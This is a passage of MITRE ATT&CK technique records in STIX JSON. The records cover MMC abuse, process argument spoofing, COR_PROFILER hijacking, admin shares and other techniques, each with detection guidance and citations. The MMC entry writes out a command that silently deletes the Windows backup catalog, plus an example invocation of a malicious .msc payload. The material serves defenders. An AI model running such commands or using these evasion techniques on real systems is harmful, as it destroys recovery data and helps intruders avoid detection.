Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Many embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_permissions_required":["Administrator"]},{"modified":"2024-10-15T16:36:36.681Z","name":"Local Accounts","description":"Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_deprecated":false,"x_mitre_detection":"Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Containers","Network"],"x_mitre_version":"1.4","x_mitre_data_sources":["Logon Session: Logon Session Creation","Logon Session: Logon Session Metadata","User Account: User Account Authentication"],"x_mitre_permissions_required":["Administrator","User"],"type":"attack-pattern","id":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","created":"2020-03-13T20:26:46.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1078/003","external_id":"T1078.003"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-15T11:41:47.274Z","name":"Exploitation for Defense Evasion","description":"Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.\n\nThere have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack), evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["John Lambert, Microsoft Threat Intelligence Center"],"x_mitre_deprecated":false,"x_mitre_detection":"Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","Windows","macOS","SaaS","IaaS"],"x_mitre_version":"1.4","x_mitre_data_sources":["Application Log: Application Log Content","Process: Process Creation"],"x_mitre_defense_bypassed":["Anti-virus","System access controls"],"type":"attack-pattern","id":"attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1211","external_id":"T1211"},{"source_name":"Salesforce zero-day in facebook phishing attack","description":"Bill Toulas. (2023, August 2). Hackers exploited Salesforce zero-day in Facebook phishing attack. Retrieved September 18, 2023.","url":"https://www.bleepingcomputer.com/news/security/hackers-exploited-salesforce-zero-day-in-facebook-phishing-attack/"},{"source_name":"Bypassing CloudTrail in AWS Service Catalog","description":"Nick Frichette. (2023, March 20). Bypassing CloudTrail in AWS Service Catalog, and Other Logging Research. Retrieved September 18, 2023.","url":"https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/"},{"source_name":"GhostToken GCP flaw","description":"Sergiu Gatlan. (2023, April 21). GhostToken GCP flaw let attackers backdoor Google accounts. Retrieved September 18, 2023.","url":"https://www.bleepingcomputer.com/news/security/ghosttoken-gcp-flaw-let-attackers-backdoor-google-accounts/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Casey Smith","Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b","created":"2017-05-31T21:31:39.262Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1127","url":"https://attack.mitre.org/techniques/T1127"},{"source_name":"Exploit Monday WinDbg","url":"http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html","description":"Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017."},{"source_name":"LOLBAS Tracker","url":"https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/","description":"LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019."},{"source_name":"engima0x3 RCSI Bypass","url":"https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/","description":"Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017."},{"source_name":"engima0x3 DNX Bypass","url":"https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/","description":"Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.","modified":"2022-05-05T05:00:37.443Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Trusted Developer Utilities Proxy Execution","x_mitre_detection":"Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Command: Command Execution","Module: Module Load","Process: Process Metadata","Process: Process Creation"],"x_mitre_defense_bypassed":["Application Control"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T20:45:22.531Z","name":"System Shutdown/Reboot","description":"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_contributors":["Austin Clark, @c2defense","Hubert Mank"],"x_mitre_deprecated":false,"x_mitre_detection":"Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the reload command.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.3","x_mitre_data_sources":["Process: Process Creation","Sensor Health: Host Status","Command: Command Execution"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","created":"2019-10-04T20:42:28.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1529","external_id":"T1529"},{"source_name":"Talos Nyetya June 2017","description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html"},{"source_name":"alert_TA18_106A","description":"CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/TA18-106A"},{"source_name":"Talos Olympic Destroyer 2018","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"},{"source_name":"Microsoft Shutdown Oct 2017","description":"Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Wes Hurd"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407","created":"2021-09-28T01:36:41.638Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1218.014","url":"https://attack.mitre.org/techniques/T1218/014"},{"source_name":"abusing_com_reg","url":"https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/","description":"bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021."},{"source_name":"mmc_vulns","url":"https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/","description":"Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021."},{"source_name":"win_msc_files_overview","url":"https://www.ghacks.net/2017/06/10/windows-msc-files-overview/","description":"Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021."},{"source_name":"win_mmc","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc","description":"Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021."},{"source_name":"win_wbadmin_delete_catalog","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog","description":"Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021."},{"source_name":"win_clsid_key","url":"https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm","description":"Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021."},{"source_name":"what_is_mmc","url":"https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console","description":"Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021."},{"source_name":"phobos_virustotal","url":"https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection","description":"Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)","modified":"2022-05-20T17:41:16.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"MMC","x_mitre_detection":"Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. \n\nMonitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","File: File Creation","Process: Process Creation"],"x_mitre_defense_bypassed":["Application control","Digital Certificate Validation"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1","type":"attack-pattern","created":"2021-11-19T14:13:11.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1564.010","url":"https://attack.mitre.org/techniques/T1564/010"},{"source_name":"Microsoft PEB 2021","url":"https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb","description":"Microsoft. (2021, October 6). PEB structure (winternl.h). Retrieved November 19, 2021."},{"source_name":"Xpn Argue Like Cobalt 2019","url":"https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/","description":"Chester, A. (2019, January 28). How to Argue like Cobalt Strike. Retrieved November 19, 2021."},{"source_name":"Cobalt Strike Arguments 2019","url":"https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/","description":"Mudge, R. (2019, January 2). https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/. Retrieved November 19, 2021."},{"source_name":"Nviso Spoof Command Line 2020","url":"https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/","description":"Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021."},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"Mandiant Endpoint Evading 2019","url":"https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode","description":"Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021."}],"modified":"2021-11-29T15:56:50.370Z","name":"Process Argument Spoofing","description":"Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ffe742ed-9100-4686-9e00-c331da544787","type":"attack-pattern","created":"2017-05-31T21:31:00.200Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1077","url":"https://attack.mitre.org/techniques/T1077"},{"external_id":"CAPEC-561","source_name":"capec","url":"https://capec.mitre.org/data/definitions/561.html"},{"url":"https://en.wikipedia.org/wiki/Server_Message_Block","description":"Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.","source_name":"Wikipedia SMB"},{"url":"https://technet.microsoft.com/en-us/library/cc787851.aspx","description":"Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.","source_name":"TechNet RPC"},{"url":"http://support.microsoft.com/kb/314984","description":"Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.","source_name":"Microsoft Admin Shares"},{"url":"https://technet.microsoft.com/bb490717.aspx","description":"Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.","source_name":"Technet Net Use"},{"url":"https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts","description":"Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.","source_name":"Lateral Movement Payne"},{"url":"https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem","description":"Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.","source_name":"Windows Event Forwarding Payne"},{"source_name":"Medium Detecting Lateral Movement","url":"https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc","description":"French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019."}],"modified":"2020-03-23T19:54:12.651Z","name":"Windows Admin Shares","description":"Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting Lateral Movement)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator"],"x_mitre_system_requirements":["File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account."],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jesse Brown, Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335","type":"attack-pattern","created":"2020-06-24T22:30:55.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.012","url":"https://attack.mitre.org/techniques/T1574/012"},{"source_name":"Microsoft Profiling Mar 2017","url":"https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview","description":"Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020."},{"source_name":"Microsoft COR_PROFILER Feb 2013","url":"https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)","description":"Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020."},{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."},{"source_name":"Red Canary COR_PROFILER May 2020","url":"https://redcanary.com/blog/cor_profiler-for-persistence/","description":"Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020."},{"source_name":"Almond COR_PROFILER Apr 2019","url":"https://offsec.almond.consulting/UAC-bypass-dotnet.html","description":"Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020."},{"source_name":"GitHub OmerYa Invisi-Shell","url":"https://github.com/OmerYa/Invisi-Shell","description":"Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020."},{"source_name":"subTee .NET Profilers May 2017","url":"https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html","description":"Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020."}],"modified":"2021-08-30T21:35:12.049Z","name":"COR_PROFILER","description":"Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Windows Registry: Windows Registry Key Modification","Module: Module Load","Command: Command Execution"],"x_mitre_permissions_required":["User","Administrator"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00038d0e-7fc7-41c3-9055-edb4d87ea912","type":"relationship","created":"2021-04-27T01:56:35.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"modified":"2021-04-27T01:56:35.810Z","description":" 